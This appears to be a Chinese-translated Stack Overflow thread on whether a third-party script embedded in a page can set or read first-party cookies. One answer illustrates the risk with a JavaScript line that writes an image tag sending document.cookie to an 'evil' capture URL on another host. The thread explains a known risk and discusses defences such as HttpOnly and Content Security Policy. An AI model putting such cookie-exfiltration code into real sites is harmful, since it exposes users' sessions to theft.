第三方脚本可以设置第一方 cookie 吗?
Posted
技术标签:
【中文标题】第三方脚本可以设置第一方 cookie 吗?【英文标题】:Can a third-party script set a first-party cookie? 【发布时间】:2013-12-08 19:40:12 【问题描述】:我在网上阅读了很多关于 cookie 的内容,但没有解决这个问题:假设我在 a.com 有一个服务器,b.com 提供的网页在该网页中嵌入了一个脚本,该脚本继续存在我的服务器:
<script src='a.com/script.js'></script>
该脚本在设置 cookie 方面允许做什么?它可以用domain=a.com
设置一个cookie吗?我假设是这样,因为脚本是从该域提供的。它还可以使用domain=b.com
设置一个cookie,因为该页面是从该服务器提供的吗?
我试图弄清楚“第一方”和“第三方”在从另一个主机的网页调用的脚本的上下文中是什么意思。
【问题讨论】:
【参考方案1】:我不认为 .js 文件的来源是相关的。 cookie 域与正在呈现的文档的域有关。
如果我访问 http://www.b.com/
并且它包括
<script src="http://www.a.com/some/file.js"></script>
那么 b.com 就相信 a.com 的代码会以善意行事。代码作为正在查看的页面的一部分执行。由于 javascript 代码将在浏览器中执行,因此它可以从 b.com
读取 cookie,并通过在 src
包含数据的文档中创建标签来传递该数据。
例如,如果 a.com 的 javascript 文件包含
document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");
然后a.com的恶意站长可以检查他的web服务器日志并查看b.com的cookies。
那么,问题是,如果 a.com 是恶意的,为什么 b.com 会在其页面中包含来自 a.com 的代码?他们可能没有。作为网络开发人员,我们需要验证我们嵌入网站的任何第 3 方代码的可信度。
【讨论】:
请注意,在 cookie 上设置HttpOnly
可以防止这种攻击,因为 Javascript 将无法访问 document.cookie
。
“我们需要验证我们网站中嵌入的任何第三方代码的可信度”:遗憾的是,这是不现实的,您无法审核您使用的每一行第三方 JS 代码,包括它自己的依赖项和子依赖。即使可以,黑客也很有创造力,可以找到隐藏的方法(例如blog.npmjs.org/post/180565383195/…)。使用良好的内容安全策略。
我在 MDN Note: The domain must match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.
上看到的,这不是和你说的矛盾吗? developer.mozilla.org/en-US/docs/Web/API/Document/cookie
我认为您误解了 JavaScript origin 的含义。这不是每个文件。它是文档级别的。以上是关于第三方脚本可以设置第一方 cookie 吗?的主要内容,如果未能解决你的问题,请参考以下文章